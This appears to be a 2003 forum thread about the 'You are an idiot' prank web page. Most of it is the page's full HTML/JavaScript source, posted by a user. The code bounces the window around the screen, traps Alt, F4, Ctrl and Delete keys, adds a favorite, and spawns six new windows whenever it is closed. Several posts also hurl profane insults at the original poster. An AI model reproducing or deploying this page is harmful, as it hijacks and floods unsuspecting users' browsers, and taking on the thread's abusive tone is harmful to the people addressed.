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    Tormentor's Avatar Searching The People
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    Go there it is so funny
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    ...thank god for popup blockers

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    u r a fuking ass
    your worse the infamousballs

    these sites have been posted millions of times
    why insist on doing it again
    and again
    and again

    hope u fucking rot in hell u shit


    people dont click it
    its one of those u r an idiot things
    or in other words u r like andrewlamb

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    Thank got for right click save as

    Code:
    <html>
    <head>
    <title>You are an idiot!</title>
    <script language=Javascript>
    
    function bookmark() {
      if ((navigator.appName == "Microsoft Internet Explorer") 
      && (parseInt(navigator.appVersion) >= 4)) 
      {
      var url="http://offiz.bei.t-online.de/idiot.html";
      var title="Idiot!";
      window.external.AddFavorite(url,title);
      }
      }
    
    function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); }
    function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
    function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }
    
      var xOff = 5;
      var yOff = 5;
      var xPos = 400;
      var yPos = -100;
      var flagRun = 1;
    
    function openWindow(url){
            aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
    }
    
    function procreate(){
      openWindow('index.html');
      openWindow('index.html');
      openWindow('index.html');
      openWindow('index.html');
      openWindow('index.html');
      openWindow('index.html');
      }
    
    function newXlt(){
            xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10&#59;
            window.focus()}
    
    function newXrt(){
            xOff = Math.ceil(7 * Math.random())  * 5 - 10&#59;
            }
    
    function newYup(){
            yOff = Math.ceil( 0 - 6 * Math.random())  * 5 - 10&#59;
            }
    
    function newYdn(){
            yOff = Math.ceil( 7 * Math.random())  * 5 - 10 &#59;
            }
    function fOff(){
            flagrun = 0;
            }
    
    function playBall(){
            xPos += xOff;
            yPos += yOff;
            if (xPos > screen.width-175){
            newXlt();
            }
            if (xPos < 0){
            newXrt();
            }
            if (yPos > screen.height-100){
            newYup();
            }
            if (yPos < 0){
            newYdn();
            }
            if (flagRun == 1){
            window.moveTo(xPos,yPos);
            setTimeout('playBall()',1);
            }
            }
    
    </script>
    </head>
    <body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
      <param name=movie value="youare.swf">
      <param name=quality value=high>
      <embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
      </embed> 
    </object> 
    </body>
    </html>

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    Tormentor's Avatar Searching The People
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    ok sorry about that people
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    lol the code forgot esc key

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    how about removing the link

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    Tormentor's Avatar Searching The People
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    Originally posted by 4play@18 May 2003 - 16:05
    how about removing the link
    done
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    Ha Ha,this thread looks kinda pointless now.
    Can anyone remove this thread so others dont get confused??

  10. Funny S**t   -   #10
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    I'd rather leave it as a warning for other people who want to post things like this.

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